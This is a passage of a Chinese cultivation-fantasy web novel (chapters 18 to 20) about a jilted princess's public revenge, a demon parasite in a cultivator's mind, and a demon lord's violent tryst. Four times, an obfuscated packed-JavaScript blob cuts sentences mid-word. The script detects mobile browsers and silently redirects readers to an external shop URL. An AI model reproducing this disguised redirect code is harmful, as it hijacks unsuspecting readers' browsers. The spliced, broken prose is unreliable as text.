“所以,你如此恼羞成怒,藏着掖着,不敢让我知晓,怕的就是眼下这刻吧。” 话音落下,满室寂静。 青梅竹马相伴数年,赵灵真和容景昭看似打打闹闹,实则同样了解彼此。 当她被逼得说出这句话,无异于扯下最后一层遮羞布,让容景昭僵在原地哑口无言,也让他们之间多年才积累下的某些东西,从此刻起永远不同了。 与此同时。 那边,某个真正的祸首,身处漩涡中心却仿佛置身事外,斜倚在窗畔,望着此刻绷着脸,满眼嘲讽的少年,比以往更显得成熟凛冽,看起来格外陌生,也格外……美味。 他心中啧啧,还在欣赏着攻略目标那副鲜活灵动的怒容,就被对方一个眼刀子扫来。 “苏玉倾,我承认,以往确实是我小看了你,才会一时大意着了你的道。” 赵灵真也不是完全气昏了头,她转过脸,以奇异的目光看了眼对方,忽而道:“但你,也未必都是真情实意罢?” 这位魅术高超的合欢宗圣子,纵然是千年狐狸修成了人,演得自己也入了戏,却逃不过那瞬间、她属于女子的直觉。 ——花费如此多的心力,介入他们之间,此人是真喜欢容景昭,还是冲着别的什么来,恐怕也只有苏玉倾自己清楚。 这个念头冒起,赵灵真更觉恶心,这瞬间,对跟前两人,还有这房间的一切都觉得厌烦透了。 她面无表情道,“伤就不劳阁下操心了,我马上给二位腾地方。你们有何话要说、何情要诉,大可在这说到天亮,绝对没有人再打扰。” 语毕,她再不停留,大步越过他们,“砰”地重重带上房门,头也不回离开此地。 从同心镜自上而下的视角,最后的画面,是在她身后,脸色复杂的“赵灵真”想追又止步。 其迟疑再三,还是回头,朝走出来的苏玉倾勉强露出一个笑容,正要说什么。 不过后者却是避开“她”的手,再不掩饰冷淡,甚至当着对方的面掸了掸衣袖,意兴阑珊地吐出二字。 “无趣。” 然后绕开呆立当场的“她”,头也不回抬步离开。 …… 镇子外,山洞边。 那头,看完镜子里发生的这些事,云莳顿在原地,有种“果然如此”的唏嘘感。 随后就是担心涌上来,她想了想,还是放心不下,转头对身边的云蘅匆匆交代。 “赵姑娘受的刺激太大,心绪难平恐怕会出事,我马上过去瞧瞧,云道友,你在此稍候,千万不要乱走。” 云蘅同样在旁听完,对旁人的情怨纠葛并无多大兴趣,但与身旁人相处这些时日,早料到她不会坐视不理,当下闻言,只是默默颔首。 旋即,他便感觉自己放在膝盖上的手被用力攥了下,女子留下句“一定要等我回来”,起身快步离去。 * 今夜,荒原上的瘴气难得散了些,穹隆如墨,零星点缀着几粒星子。 云莳凭着同心镜在手,不多时便在镇子另一侧的干涸河道边,找到了蹲在地上、埋头抹泪的熟悉身影。 夜风萧瑟,几株枯杨在星光下无声伫立。闻见少年的呜咽声,云莳放轻脚步,走到对方身后,无奈地叹了口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819560|190888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气。 “抱歉,从同心镜里见你往这边走,实在放心不下,便跟来了。” 活了十七年,云莳也是头次遇到这种情况,不知该怎么安慰她,苦恼地挠了挠头。 “赵姑娘,既然你这么伤心,要不我们现在就回去,把他们痛揍一通,有怨报怨,有仇报仇。就是那位容太子现在还用着你的身体,下手的时候也不知该轻点还是重点……” 絮絮叨叨,好一会,跟前人才有反应。其回过头,顶着那双和英气面孔极不相称的红肿双眼,瓮声瓮气地开口。 “原、原来你都看到了,我是不是很可笑……被瞒了这么久,他什么都不告诉我,甚至和那个男狐狸精都发展到了那步……” 说着,赵灵真抑制不住想象:今夜,如果不是他们互换身体,在她毫不知情时,苏玉倾肯定还会推开容景昭的房门。 以其人的手段,又会与容景昭说些什么,勾得他如何心猿意马? 深更半夜,孤男寡男,容景昭又真的可以只把对方当做朋友,在那双手掌触到身体时没有分毫悸动么? 一思及这些,赵灵真的心便似劈成两半。再不是往日过家家似的“争风吃醋”,一想到此人是和自己相处了十数年的未婚夫,心里便是说不出的齿冷和失望。 而在她情绪再度失控前,灰衣少年已经走到她跟前,蹲下身,递来一方素帕。 “算了,赵姑娘,我叫你一声郡主可以吧?” 云莳没有办法,搜肠刮肚半晌,只能把自己的经历拿来安慰她,“你看,你容貌出众,且身份尊贵,半点不像我,出身市井,打小流浪,连自个爹娘是谁都不晓得……后来虽拜了师傅,却天天闭关,全靠师兄拉扯大。” “所以日子再糟,熬一熬就过了。那个容太子不喜欢你是他眼瞎心瘸,没了他,你还有疼爱你的家人,真心待你的朋友,为一个不珍惜你的人伤心至此,实在不值。” 云莳叹口气,拍了下跟前人的肩膀,“今夜痛痛快快地哭过,就去好生睡觉,明日醒来,便一切都过去了。” 赵灵真怔怔听完,吸了吸鼻子,望向星光下朝她笑着的那双温暖眼眸,看久了,心头某个坚硬的地方都莫名变得酸软。 她攥住这张帕子,紧咬下唇,良久才嗫嚅出声,“不,我没有。” 人生第一次向其他人袒白,赵灵真脸色发红,声音越来越小,“……我其实,没有真正的朋友。” 再尊贵的出身又如何,空有身份而无天赋,她赵灵真在旁人眼里就只是骄纵任性的瑞阳郡主,人人面上讨好,转过身便嗤之以鼻。 从小到大,身边也只有一个被婚约绑住,想跑而跑不掉的容景昭罢了。若不是这样,她何必因为这人的背叛失态至此? 念及此处,赵灵真眼圈儿又是一红。云莳见状,生怕她又陷入悲伤里,连忙扬声,用松快的语气拉回她的注意力。 “郡主此言当真?我正好也没几个朋友,若你不嫌弃,往后我们便以友结交,多份照应如何?” 说着朝她伸出右手,笑容清朗,眉目之间尽是坦荡。 瞧见她突来的动作,赵灵真始料未及,心头跳了下,旋即涌上浓浓暖流,弥漫开来,一时间竟然压下其他情绪。 犹豫片刻,她垂下眸子,顶着发烫的耳尖,轻轻说了声“好”,生疏地将手放进对方掌心,再被跟前人收拢握住,稳稳地将她拉了起来。 18. 魔物 戈壁滩上,四野静谧。 本满心凄惶的赵灵真被跟前人一通劝解,情绪稍好,将手犹豫地伸出去,顺着对方的力道稳稳站起。 等她站稳脚步,忽然不敢再与跟前的灰衣少年对视。 为了驱散心中的那点异样,赵灵真偏过头胡乱擦掉眼泪,捏紧拳头,故意摆出副凶狠的样子。 “风、风止,你说得对,为这种混蛋伤心确实不值。明日就是三天的最后一天,在换回去前,我非要一雪前耻,好好教训这两个臭男人不可!” 不愧是原著中的“恶毒女配”,就算受了这般打击,稍微恢复,报仇之魂便熊熊燃起。 云莳闻言,也十分欣赏,点头赞同,“好志向。但报仇时,郡主定要以自身安危为重,有变故随时通过同心镜叫我,我也会在这边密切关注着——” 她笑着道,“若是真闹大了,郡主大不了不与他们同行,跟我和云道友一起回中原便是。” 耐着性子听完“新朋友”的叮嘱,赵灵真快压不住嘴角的上扬,朝对方矜持点头。 折腾大半夜,她们这头总算平复下来,而在另一边,无声中,惊雷乍起。 * 同个夜晚,岩洞中,篝火旁。 火光跃动,将白衣男子的身影投在岩壁上。 自从云莳追着赵灵真离开,云蘅独自留在山洞,并未安然休息,而是抓紧时间调息,盘膝打坐,以五心向天之姿运转周天。 随着心法被久违催动,他俊容雪白,额角渐渐渗出细密冷汗。 即便十分艰难,云蘅仍尝试着梳理体内凝滞不动的灵力,但运转了大半个周天,一到心脉处,盘踞在那里的阴寒蛊虫就像个无底洞,不仅吞噬着所有真元,还将周身经脉寸寸冻结。 ——这所谓的“缠心蛊”一日不解,他就仍会是这个目不能视灵气全无,就连随身的芥子囊都打开不了的废物,只能靠着旁人的保护苟活度日。 心念瞬转,云蘅下颌紧绷,催动法诀愈发急促。直到一声闷哼,唇角溢出殷红血丝。 其弓身抽搐,眉宇间掠过一抹狠色,非但没有停歇,双手飞快结印,指尖灵光闪烁、用力按在眉心,凝聚最后的力量,向着自己的识海冲去。 “轰——” 被这决绝的一撞,有什么屏障被撞出缝隙。他压下翻涌的血气,继续催动神识,如同破冰的舟楫,艰难而坚定地向前推进。 不知过了多久,破碎的脆响炸开,灵台深处响起浩荡的钟声,一声接一声,震得静止的识海泛起涟漪。 神识豁然开朗,他终于冲破那层屏障,来到广袤无边的识海上,似溺水者浮上水面,那道白色虚影悬在半空,衣袂飘拂,稍稍松了口气。 就在这时,异变又生。 下方,深蓝色的大海嗡嗡震动,陡然掀起滔天巨浪,扑向他的这抹神识化身。 从外面看去,白衣修士骤然一震,紧闭的眼睛下眼珠急遽滚动,额头的汗珠滚滚滴落,周身瞬间散发出可怖的威压。 ——无人知晓,此时的云蘅已到生死关头。 如果被这无名巨浪反噬,不是当场身殒,便是永堕魔道。 当此之际,云蘅的意识越发冷静,手中霎时握住一柄寒光流转的长剑,剑吟响彻天地,即便在巨浪跟前显得格外渺小,他依然毫不犹豫一剑斩下,若九天银河倾泻,生生将万丈波涛从中劈开。 浪涛轰然落下。而他的神识化身也再难支撑,狼狈地落在唯一的落脚地、大海中央的巨树上,以剑拄地,急促喘息。 这株雪白巨树是识海中唯一具象化的事物,擎天撼地、华盖如伞,主干苍劲如盘龙,每一片叶子都像冰晶雕成,在海面投下巍峨的倒影。 这时候,天空中又出现一只盘旋的黑色秃鹫,阴冷的眼睛紧盯着他,尖啸一声袭来,利爪如刀,直取他的天灵盖。 云蘅不及调息,立刻举剑相迎,剑锋与利爪碰撞出刺耳的金铁交鸣声,他勉力周旋,终于在力竭之前压制住对方,一剑贯穿了秃鹫的要害。 那只妖物发出不甘的长啸,身形溃散成缕缕黑气。 ——这是魔气,竟有魔物不知何时寄生在他的识海,现在才被发现! 此时,饶是云蘅也脸色骤变。未等他反应,神识又捕捉到那丝魔气的动向。 这次是旁边的树枝上,魔气重新凝聚,化成一只枯瘦的黑鸦。 云蘅眼神一厉,身形如电掠至近前,修长手指直接扼住鸦颈。 “等等,别杀我!”黑鸦毫无反抗之力,急忙口吐人言,“本座早已与你的识海融为一体,除非你自毁修为,否则根本除不掉我!我如今也无力再伤你,何必再斗下去,落得两败俱” 话音未落,云蘅眼睛不眨,手上倏然用力,黑鸦当场化作黑气消散。 下一瞬又出现在稍远的枝杈上,拍着翅膀愤怒大叫,“本座说了,你杀不了我!再折腾下去,这座识海真要塌了!” 果然,识海连着巨木再度震动,让二人几乎难以站稳。好阵子缓和下来,下方的白衣男子没有再动,狭长银眸冷冷看来。 他兀然开口,“噬魂魔?这种魔物只在天外天和深渊裂隙中才有——你就是在仙府里,蛊惑玄玑残魂的那头魔物?” 黑鸦嘎嘎怪笑,“猜的真快,不愧是本座选中的上好容器。既然知道我的来历,就该明白普通手段对我没用,所以要来做个交易么?本座可以” 没空听这些废话,云蘅打断它,“你寄生在我身上,原本是想夺舍罢。但你应该很清楚,这绝无可能。” 蛊惑人的话被生生堵回去,黑鸦噎了噎,豆大的眼睛闪烁不定。 “本座确实没想到,你这个身怀正宗道家清气的人,识海竟是如此……” 同为合一境,其他修士的识海最多湖泊大小,除此以外再无其他。可云蘅的识海却宽广如海洋,中央还矗立着这株神异的白色巨树。 枉它活了上万年,却是阴沟里翻了船。黑鸦下刻便愤恨地叫起来,“这里根本不是人族修士的识海!你是上古妖族——不,你身上有天妖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823519|190888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血脉!” 此言一出,就连噬魂魔这般存在也不禁透出骇然。而那位从头到脚看不出半点妖族气质的仙门首徒,已如鬼魅般出现在它身侧,抬手便将它捏碎成齑粉。 云蘅眸色深沉,转身前丢下三个字。 “太吵了。” * 多事的一夜就这样过去。 翌日清晨。 处理完赵灵真那边的事,云莳来不及歇口气,赶在破晓时分匆匆回来。 赶到山洞,远远便见洞口的篝火堆早已燃尽,白衣修士静立在旁边,闻见她的脚步声,徐徐转过身。 朦胧的天光下,其人长身玉立,清隽依旧,除了唇色略淡,看不出任何异样,对着她微微一笑。 “你回来了。” 见他好好等着自己,云莳松了口气,大步跑上前,三言两语地将昨夜的事说了一遍,虽然整夜未眠,仍兴奋犹存。 “郡主真是性情中人!她刚刚也回客栈了,真不知道她会怎么收拾那两个家伙……” 她兴致勃勃地说着,跟前人只静静“凝视”着她,那双银灰色的眼眸依旧没有焦距,却透着一种不同寻常的专注。 发现对面过于安静,云莳后知后觉发现他的不对,心头咯噔一下:这样子,莫、莫不是那个该死的蛊毒又发作了吧? 她喉咙发紧,停下声音,忍不住伸手在他眼前晃了晃,“云道友,你、你怎么了,为何都不说” “话”字还没说完,这只手就被男子一把握住,扣入掌心,他唇边的笑意也倏然加深。 “原来风道友长得这般模样……蒙阁下多次相救,往后不必客气了,直接唤我云蘅便是。” 他轻声道:“所以,以后我也可以唤你风止么?” “这点小事,当然可以”说到半截,云莳意识到什么,蓦然顿住。 神识是修士的第二双眼睛,可感知万物,洞察秋毫,他既然目力未复,却能知道她的容貌动作,这分明是已经能动用神识了! “是不是你的神识恢复了?”她恍然大悟,激动地反握,“那你的灵力和蛊毒呢?是不是也都解开了?!” 闻言,云蘅微滞,掩下眸子,声音低沉下来,“抱歉,云蘅无能,灵力仍未恢复……蛊毒也尚未化解。” 云莳这才从惊喜中回神,见跟前的师兄难得露出分消沉,不忍再追问,连忙安慰。 “没事,如何能怪到你身上,本来就是苏玉倾下的阴毒玩意儿,咱们慢慢来,肯定能找到解决的法子。” 说这话时,她选择性遗忘了系统的那些虎狼之言,转而想起他们还有个“战友”正在摩拳擦掌地准备报复。 二人之前被苏玉倾追着到处跑,差点就吃了大亏,如今当然要亲眼看看这人是如何吃瘪的。 想到这,云莳马上取出同心镜,见镜面上灵光闪烁,显示对方也已经开启,期待地将画面打开,声音也放到最大。 “云、云蘅,你快看,郡主已经到客栈了,诶她这是在做什么,莫不是要——” 19. 打脸 当下,镜子那头。 天色微亮,客栈一楼已聚了不少人。蓬莱阁弟子们因万骸秘境关闭,收拾好行李在大厅汇合,准备提前启程离开。 就在这时,半掩的大门被用力推开,“容景昭”提步而入,周身带着未散的晨露,只见其眼皮微肿,眼底还有着残留的血丝,让那张素来神采飞扬的少年脸庞显得分外沉郁。 众人纷纷停下动作,惊讶地望过去,少年却视若无睹,径直朝里走。 彼方,同样彻夜未眠、眼眶泛着青黑的“赵灵真”见他朝自己走来,噌地站起身,双眼亮起。 “你终于回来了,昨晚没事吧?都、都是我不好……” “把双鲤佩给我。”少年直截了当,开口打断“她”。 见其脸色莫名,不明所以,真正的赵灵真压着语调,又重复了一遍,“我说,把我们定亲的双鲤佩还给我,以后这东西,我们再也用不着了。” 在她身体里的容景昭遽然一震,这才知道她想做什么,脸色沉了下来,“胡言乱语!我们之间乃是玉牒明载的婚约,岂能儿戏!往日由着你性子折腾也就罢了,此事容不得玩笑!” 头一次觉得这人如此蠢钝而可笑,赵灵真没了半分耐心,仗着这具身体动作敏捷,趁其不备,直接探手扯下了对方腰间挂着的玉珏,转身就走。 容景昭被她这手弄得措不及防,心里不可置信:只一夜功夫,就从缠着他不放到闹着退婚,赵灵真这是被人夺舍了吗?! 哪怕现在顶着的不是自己的身体,他也不能再忍,黑着脸就要上前与其理论。 就在二人拉扯着吸引了所有人注意力时,楼梯上忽然响起脚步声。下刻,一抹殷红身影拾阶而下,姿态悠然。无论何时,这人总能第一时间攫住旁人的目光。 苏玉倾唇边挂着惯有的浅笑,俊脸神清气爽,显然半点没被昨夜的事影响,睡得极好。 他刚出现,就察觉到大厅里的异样,瞧见大厅前方对峙的二人,目光微闪,随即佯作惊讶。 “殿下回来了?好端端的,怎么与郡主争执起来了?” 谁知,这次没人再看他的装模作样,“容景昭”猛地挣脱“赵灵真”的拉扯,大步走到他面前,一句话没说,果断地将手里的东西朝他扔去。 苏玉倾没有提防,下意识抬手接住,低头发现是一枚鲤鱼形状的羊脂玉,这不是赵灵真往日随身佩戴、视作珍宝的什么定亲信物么? 他猜的没错。 旋即,前方的少年就用所有人都能听清的声音高喊,“今日起,我容景昭与赵灵真解除婚约!这枚双鲤佩就赠予苏兄——既然你对我情深意重,屡次深夜前来倾诉衷肠,我自然要成全你这番心意!” ——犹如平地起惊雷,将在场众人都炸得呆在原地。 赵灵真却觉得前所未有的解气,紧跟着又抛出“大招”。 “何况,我与苏兄该做的都做了,自是要负起责任!此番回京我便会禀明父皇母后,定会八抬大轿前往合欢宗迎娶苏兄,你便等着我的好消息罢!” 这番话下来,一句比一句劲爆,就算是再开明的修士也听得目瞪口呆,几乎要怀疑眼前这位容太子是不是被人掉了包。 当众向男人“求婚”也就算了,他居然还要回去告知老父老母,这是生怕二老不气得背过气去? 一股脑把该说的不该说的全捅了出来,赵灵真心中好不畅快,正要转身跑路,陡然眼前一花,脑中晕了下。 待她重新睁眼,视野已经变换,周身那股束缚感也完全消失了。 三日之期已到,她和容景昭换回来了! 赵灵真定了定神,抬眼就对上容景昭那张铁青色的怒容,连带着他身后那只男狐狸精,脸上也再笑不出来,僵硬得彻底。 往日里,仗着没有男男之防,这二人以朋友之名暗地里行暧昧之实,各种拉扯纠缠,哪怕一个眼神碰触都别有滋味—— 眼下被捅破窗户纸,关系大白于天下,容苏二人却毫无“冲破世俗”的解脱感,众目睽睽下,大眼瞪小眼地僵持,连看对方一眼都尴尬之极,哪里还有半分当初暗通款曲的享受? 这两人的心情越差,赵灵真心头就越舒爽,朝他们露出个满是嘲讽的笑容。 “所以,二位就相亲相爱去吧,本郡主不掺和了!容景昭,你脚踏两只船,这仇本郡主还记着,下次再让我撞见,定要你好看!” 说罢,赵灵真裙摆一扬,头也不回地跑出客栈,同时飞快掏出同心镜,看到镜子对面的景象也在快速移动。 那边的灰衣少年正牵着身旁的白衣修士,一边御风疾行,一边朝她招手,笑着大喊。 “快来镇口,别被他们追上,我们一起回中原!” * 老话说得好,拉近关系最快的方式就是一起搞事情。 赵灵真在这边大展拳脚,当众揭穿容苏二人的苟且,将他们的脸皮踩在脚底下碾压,那边的云莳全程围观,恨不身临其境,兴奋得都要忘记自己那个烦人的破任务了。 眼下,在镇口接到匆匆跑来的赵灵真,云莳十分给力,立马祭出飞行法器,带着身旁两人向中原方向疾驰,绝不让容景昭和苏玉倾有机会追来算账。 一路耗尽大半灵气,片刻不停,三人硬是奔出千里之远,直到夜色降临,前方大河拦路,后头也没有追兵的气息,才气喘吁吁地停下。 撑到这时,赵灵真早已是强弩之末,但精神和身体仍处于极度亢奋,刚站稳就扑向还在叉腰喘气的灰衣少年,将对方紧紧抱住。 “我做到了,我真的将容小昭放开了!”赵灵真又哭又笑,“谢谢你,风止,谢谢……” 被这般浓烈的情绪感染,云莳也鼻尖微酸,回抱住她,两个女孩惺惺相惜、相视而笑,一时间将旁边的白衣男子全然忘到脑后。 云蘅在神识中望见这幕,摇了摇头,也微微笑了。 当夜,三人就近寻了颗老树底下歇息。 离开瘴气笼罩的区域,月光透过枝叶洒下,赵灵真头一次拥有真正的朋友,兴奋地拉着云莳不放,嘀嘀咕咕说个没完,直到靠着树干累得睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16829053|190888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,这才安静下来。 云莳此时也口干舌燥,刚刚松了口气,旁边就递来一筒清水,竹身青翠,水色清冽,正被一只骨节分明的大掌握着。 转头对上那双空茫的银眸,听得男子温然开口,“渴了罢,刚打的泉水,可以用上些。” 云莳后知后觉已经把师兄撂下许久了,顿生愧疚,接过竹筒,没有急着喝,低声喃喃,“多谢你愿意陪着我们胡闹……解决完这件事,之后不会再耽误回去的行程了。” 见她这般拘束的样子,丝毫不像在赵灵真跟前的放松轻快,云蘅眸色稍深,旋即若无其事地笑笑。 “何必客气,以苏玉倾的所作所为,你们今日之举,也是替我出了口气,该道谢的是在下才对。” 知道他是在安慰她,毕竟认真说来,今天的“报复”只是逞口舌之快,只要那二人脸皮够厚,便不会有什么实质损害,自也说不上什么“出气”。 云莳对此心知肚明,心思转了转,面上没有端倪,饮尽这筒清水,恢复平常模样,简单收拾了下,招呼云蘅一同坐着休息。 白日这番折腾,除了她,赵灵真和云蘅都消耗不小,尤其是后者,本就灵力全失,而且只有他自己清楚,昨夜为镇压识海中的噬魂魔,究竟付出了何等代价,撑到此刻已是极限。 云蘅不再推辞,在她另一侧靠坐,背倚老树,阖上长睫,不多时呼吸也低缓下来。 夜里的树林虫鸣窸窣,跟前的篝火偶尔发出噼啪声。 在这安静中,坐在中间的云莳倏然睁开眼,挺直身体。 她眼中虽有倦意,却清明无比,先前的浮躁情绪消失得无影无踪。明灭不定的火光映在她眼底,乍看过去,竟与云蘅平日的神情有八分相似。 ——又怎么会不像呢,她本就是他费心养大,手把手教出来的,从剑法到心性都刻着他的印记。 正因如此,以她的性子,今日之事便不会止步于白昼的那场闹剧。 云莳凝神感知四周,确定师兄和郡主都沉沉睡去,在心底唤出系统,‘马上检查周边是否有危险,若我暂时离开……’ 系统从令如流,【已大范围探查,方圆三百里内无任何修士踪迹与异常气息,不会危及二人安全,宿主可随意行动。】 闻言,云莳稍微放心。 既没有后顾之忧,她也不再耽搁,轻手轻脚地起身,脚下浮空而起,过程中没有发出半点声音。 这时候,睡得正香的赵灵真嘤咛了声,含糊嘟囔了句什么,翻个身又沉沉睡去。 云莳刚提起的心又放下来。她最后再看了眼树下的云蘅,心头软了软,用几乎听不见的声音轻语,“你们都要好好的,我办完事后,便马上回来。” 语罢,转过身,再不停留,朝来路疾驰飞去。 夜风掠过树梢,发出沙沙轻响,须臾吞噬了她的身影,四周陷入更深的寂静。 ……无声无息间,本应沉睡的云蘅抬起睫羽,定定望着她离去的方向,俊容之上,褪去了方才的倦意,只剩一片深不见底的沉静。 20. 亲密 夜色清廖,在云蘅的心绪发生波动之际,他的识海中,那道呕哑难听的声音趁机响起,如跗骨之蛆,驱之不散。 “没想到啊没想到,堂堂天妖血脉沦落至此也就罢了,竟被个不知来历的丫头骗得团团转。” 噬魂魔化成的黑鸦讥讽道,“便是本座也看出来,此人藏头露尾,从头到脚没一句实话,怕是连名字都是假的。眼下还抛下你们跑了,你倒是痴心不改,着实不像你们这族的做派……” 魔音绕耳,嗡嗡不绝。云蘅听得眸色愈冷,虎口一紧,耳边的噪音登时被掐断,骨骼挤压的声响清晰可闻。 他在心底回道,“说够了?活了万年还如此聒噪,只会挑拨离间,你们噬魂魔一族,也不过如此。” 黑鸦被他死死掐住喉咙,眼中终于露出惧意,扑腾着翅膀挣扎求饶。 好不容易颈间的力道稍松,它总算学乖了,小心翼翼地打量着宿主的脸色,委屈出声。 “如今本座与你绑在一条船上,你若身死我也跑不了……所以,怎能将性命托付给这种来路不明之人?不如现在就把边上的小丫头解决了,本座有一门吸星大法,你学了立刻就能” 着实死性不改,逮着机会便又来蛊惑他作恶。云蘅忍无可忍,右手倏地合拢,纵然自己也被反震得气血翻涌,耳边总算清净了。 他望着早已空无一人的夜空,良久,眉眼间的冷峻渐如坚冰融化,不知对谁轻声道: “……假的又如何,可我相信她,一定会回来。” “风止”——《管子》曰“君子以止风为教,小人以行火为燎”,听到这个名字的瞬间,他便知道多半只是化名。 可那又如何,他们并肩作战是真,她屡次相救是真,言语间的关怀惦念也是真。若能这般“骗”他一辈子,又有何不可? 思及此,云蘅重新闭上眼,就算没有睡意也纹丝不动,如同之前数次,安静等着那人归来。 * 云莳此番回返是下定了决心,走出不远便动用仅有的一枚远程传送符,在半个时辰内回到石海镇。 她运转千幻面隐匿身形,马不停蹄来到镇上仅有的那座客栈,却发现已人去楼空,蓬莱阁弟子们连同容景昭,真的没管“负气出走”的赵灵真,径自返程回中原了。 正当她扑空之际,系统及时传来讯息:容景昭虽已离开,但苏玉倾仍在镇外不远处。 不知道这对“情投意合”的男男怎么分道扬镳了,但云莳的主要目标本就是苏玉倾,闻言当即转身,循着系统的指引往镇外赶去。 灰雾弥漫,这片天地一如初见般荒寂。 走着走着,映入眼中的景象越来越熟悉:干涸的河道,伫立的枯杨林,这不就是上次郡主蹲着抹泪的地方么。 云莳稍微放慢脚步,屏息凝神,目光直直落在河边那簇突兀的幽光上。 苏玉倾果然在此,而且不是一个人。 夜色中,一架玄铁车驾伫立不动,四匹魔焰马立在车前,高大如雕塑,眼睛的位置燃烧着幽绿鬼火,额前缀着金纹当卢,光是停在那里便散发出令人心悸的威压。 车架旁,正有两道修长身影紧紧交叠,依稀辨出是两名男子。被按在身下的身着绯红薄衫,头颅后仰,发丝凌乱;身前的玄衣男子身形挺拔,宽肩沉腰,将人牢牢箍在怀中。 二人呼吸相闻,目光灼灼粘连,关系之亲密不言而喻。 下一瞬,在系统的作弊下,云莳清晰听到了那两人的密语。 先是玄衣人的声线,磁性醇厚,带着玩味低哼,“果然是天生尤物,难怪能把那群仙门弟子迷得神魂颠倒……可惜,你最大的目标看来是被人搅黄了。” 下头的红衣男子勾着他脖颈,玉面染红,慵懒轻笑。 “容景昭那个毛头小子,怎么比得上魔君英雄盖世,不过是逢场作戏,与他玩玩罢了。” ——只是闻见这些话语,就让云莳猛地握紧拳头,眼露凶光。 玄曜魔君苍绝与苏玉倾,真正的狗男男原来是这对! 瞧他们眼下这柔情蜜意的样子,看来早就勾搭成奸,这个大名鼎鼎的玄曜魔君显然早知苏玉倾四处“猎艳”的行径,却半点没有阻止,一副默许纵容的态度,果然不负魔族荒.淫暴虐的名声。 云莳压下惊怒,追问系统,‘他们都亲密成这样了,现在还是探测不到苍绝对苏玉倾的好感度吗?’ 系统语带抱歉,仍是那句:【目标苍绝情绪过于复杂,探测受阻,需宿主自行查探。】 就在这时,那两人的动作眼见更加过火,苍绝越压越近,碧眸中灼光闪烁,喉结难耐地滚动。 “……许久未见,虽然玉倾什么模样都好看,但本尊觉得,还是这般……” 话音未落,大掌抚上那张绝世容颜,暧昧摩挲,再向下滑落,长指缓缓收紧。 然后,如同铁钳般扼住那截如玉脖颈,单手将跟前人生生提离地面,只剩脚尖虚点,狼狈悬空。 刹那间,苏玉倾瞪大凤眸,脸色由红转白,喉间堵着破碎的嗬嗬声,窒息的痛苦弥漫面庞。 他实在难忍,双手胡乱去掰那只箍住脖颈的手,指尖抠得泛白却也难动分毫。 见状,苍绝癫狂大笑,“果然,还是这般模样的你最为动人!” 其死死盯着自己亲手制造的这副“美色”,碧眸里翻涌着病态的兴奋,俯身逼近,另一只手按上他剧烈起伏的胸膛,力道重得快将那骨头按碎。 “玉倾可要记得,任你怎么游戏人间,这颗心,只能属于本尊。” 玄曜魔君五指愈紧,亢.奋低笑着,“本尊等着约定之期到来,届时定要亲手剖出你的心,一口一口嚼碎吞下,方不辜负你我这番情谊。……” * 终于被这个魔族疯子放开时,苏玉倾堪堪只剩半口气。 被一把甩在地上,他的颈间与胸前布满乌黑指痕,鬓发凌乱地贴在汗湿的颊边,那张绝世俊容惨白无神,反倒透出一种被摧.残后的,破碎妖异的美感。 饕足的苍绝也没再看他一眼,理了理衣袖,恢复冰冷神情,旋即踏上车架,魔马仰天嘶鸣、蹄踏虚空,拉着马车消失在浓雾深处。 河边只剩下这抹红色身影,蜷缩许久,才能撑起身子,艰难坐起。 苏玉倾略微恢复了点力气,捂着胸口剧烈咳嗽,唇边溢出鲜红血痕。 他摸向芥子囊,想要取出伤药,但手指抖得厉害,几次都未能成功,好不容易拿出个白玉药瓶,不小心碰落掉地,咕噜噜滚向远处。 苏玉倾银牙紧咬,俊容阴郁到扭曲,实在起不来身,只能匍匐着爬过去把药拿回来。 谁知那个药瓶滚了不远,就被黑暗里的什么挡住。 彼方,旁观许久的身影终于解除隐匿,俯身捡起滚到脚边的药瓶,定定看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16833539|190888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着他,目光复杂难辨。 竟有其他人也在这里!苏玉倾悚然一惊,强提一口气厉声喝道:“你是何人?!潜伏在此想做什么!” 那人默然不语,彷佛知道他现在只是个纸老虎,逼近他三步之外,方才停步。 这还是云莳第一次这般近距离地审视苏玉倾。 